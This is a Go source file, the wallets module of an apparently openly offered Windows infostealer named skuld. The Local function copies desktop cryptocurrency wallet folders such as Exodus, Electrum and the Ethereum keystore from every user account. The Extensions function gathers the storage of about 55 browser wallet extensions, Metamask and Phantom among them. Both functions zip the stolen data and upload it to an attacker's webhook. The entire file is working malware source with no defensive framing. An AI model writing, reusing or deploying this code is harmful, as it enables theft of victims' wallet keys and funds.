Files
2026-08-27 11:00:27 -06:00

229 lines
8.6 KiB
Go

package wallets
import (
"fmt"
"os"
"strings"
"github.com/hackirby/skuld/modules/browsers"
"github.com/hackirby/skuld/utils/fileutil"
"github.com/hackirby/skuld/utils/hardware"
"github.com/hackirby/skuld/utils/requests"
)
func Run(webhook string) {
Local(webhook)
Extensions(webhook)
}
func Local(webhook string) {
users := hardware.GetUsers()
tempDir := fmt.Sprintf("%s\\wallets-temp", os.TempDir())
defer os.RemoveAll(tempDir)
found := ""
Paths := map[string]string{
"Zcash": "\\Zcash",
"Armory": "\\Armory",
"Bytecoin": "\\bytecoin",
"Jaxx": "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb",
"Exodus": "\\Exodus\\exodus.wallet",
"Ethereum": "\\Ethereum\\keystore",
"Electrum": "\\Electrum\\wallets",
"AtomicWallet": "\\atomic\\Local Storage\\leveldb",
"Guarda": "\\Guarda\\Local Storage\\leveldb",
"Coinomi": "\\Coinomi\\Coinomi\\wallets",
}
for _, user := range users {
userPath := fmt.Sprintf("%s\\AppData\\Roaming\\", user)
for name, path := range Paths {
path = fmt.Sprintf("%s%s", userPath, path)
if !fileutil.IsDir(path) {
continue
}
if err := fileutil.Copy(path, fmt.Sprintf("%s\\%s\\%s", tempDir, strings.Split(user, "\\")[2], name)); err != nil {
continue
}
found += fmt.Sprintf("\n✅ %s - %s", strings.Split(user, "\\")[2], name)
}
}
if found == "" {
return
}
if len(found) > 4090 {
found = "Too many wallets to list."
}
tempZip := fmt.Sprintf("%s\\wallets.zip", os.TempDir())
if err := fileutil.Zip(tempDir, tempZip); err != nil {
return
}
defer os.RemoveAll(tempDir)
defer os.Remove(tempZip)
requests.Webhook(webhook, map[string]interface{}{
"embeds": []map[string]interface{}{{
"title": "Wallets",
"description": "```" + found + "```",
}},
}, tempZip)
}
func Extensions(webhook string) {
Paths := map[string]string{
"Authenticator": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai",
"Binance": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp",
"Bitapp": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi",
"BoltX": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca",
"Coin98": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg",
"Coinbase": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad",
"Core": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb",
"Crocobit": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke",
"Equal": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac",
"Ever": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk",
"ExodusWeb3": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno",
"Fewcha": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj",
"Finnie": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj",
"Guarda": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln",
"Guild": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj",
"HarmonyOutdated": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib",
"Iconex": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel",
"Jaxx Liberty": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne",
"Kaikas": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi",
"KardiaChain": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk",
"Keplr": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap",
"Liquality": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn",
"MEWCX": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm",
"MaiarDEFI": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm",
"Martian": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk",
"Math": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc",
"Metamask": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn",
"Metamask2": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm",
"Mobox": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo",
"Nami": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo",
"Nifty": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid",
"Oxygen": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh",
"PaliWallet": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn",
"Petra": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci",
"Phantom": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa",
"Pontem": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba",
"Ronin": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec",
"Safepal": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa",
"Saturn": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig",
"Slope": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo",
"Solfare": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic",
"Sollet": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno",
"Starcoin": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk",
"Swash": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog",
"TempleTezos": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc",
"TerraStation": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp",
"Tokenpocket": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii",
"Ton": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd",
"Tron": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec",
"Trust Wallet": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph",
"Wombat": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih",
"XDEFI": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf",
"XMR.PT": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm",
"XinPay": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo",
"Yoroi": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb",
"iWallet": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj",
}
users := hardware.GetUsers()
browsersPath := browsers.GetChromiumBrowsers()
var profilesPaths []browsers.Profile
for _, user := range users {
for name, path := range browsersPath {
path = fmt.Sprintf("%s\\%s", user, path)
if !fileutil.IsDir(path) {
continue
}
browser := browsers.Browser{
Name: name,
Path: path,
User: strings.Split(user, "\\")[2],
}
if browser.Name == "Opera" || browser.Name == "OperaGX" {
profilesPaths = append(profilesPaths, browsers.Profile{
Name: "Default",
Path: browser.Path,
Browser: browser,
})
continue
}
profiles, err := os.ReadDir(path)
if err != nil {
continue
}
for _, profile := range profiles {
if profile.IsDir() {
files, err := os.ReadDir(fmt.Sprintf("%s\\%s", path, profile.Name()))
if err != nil {
continue
}
for _, file := range files {
if file.Name() == "Web Data" {
profilesPaths = append(profilesPaths, browsers.Profile{
Name: profile.Name(),
Path: fmt.Sprintf("%s\\%s", path, profile.Name()),
Browser: browser,
})
}
}
}
}
}
}
if len(profilesPaths) == 0 {
return
}
tempDir := fmt.Sprintf("%s\\extensions-temp", os.TempDir())
defer os.RemoveAll(tempDir)
found := ""
for _, profile := range profilesPaths {
for name, path := range Paths {
path = fmt.Sprintf("%s%s", profile.Path, path)
if !fileutil.IsDir(path) {
continue
}
err := fileutil.Copy(path, fmt.Sprintf("%s\\%s\\%s", tempDir, profile.Browser.User, name))
if err != nil {
continue
}
found += fmt.Sprintf("\n✅ %s - %s", profile.Browser.User, name)
}
}
if found == "" {
return
}
if len(found) > 4090 {
found = "Too many extensions to list."
}
tempZip := fmt.Sprintf("%s\\extensions.zip", os.TempDir())
if err := fileutil.Zip(tempDir, tempZip); err != nil {
return
}
defer os.Remove(tempZip)
requests.Webhook(webhook, map[string]interface{}{
"embeds": []map[string]interface{}{{
"title": "Extensions",
"description": "```" + found + "```",
}},
}, tempZip)
}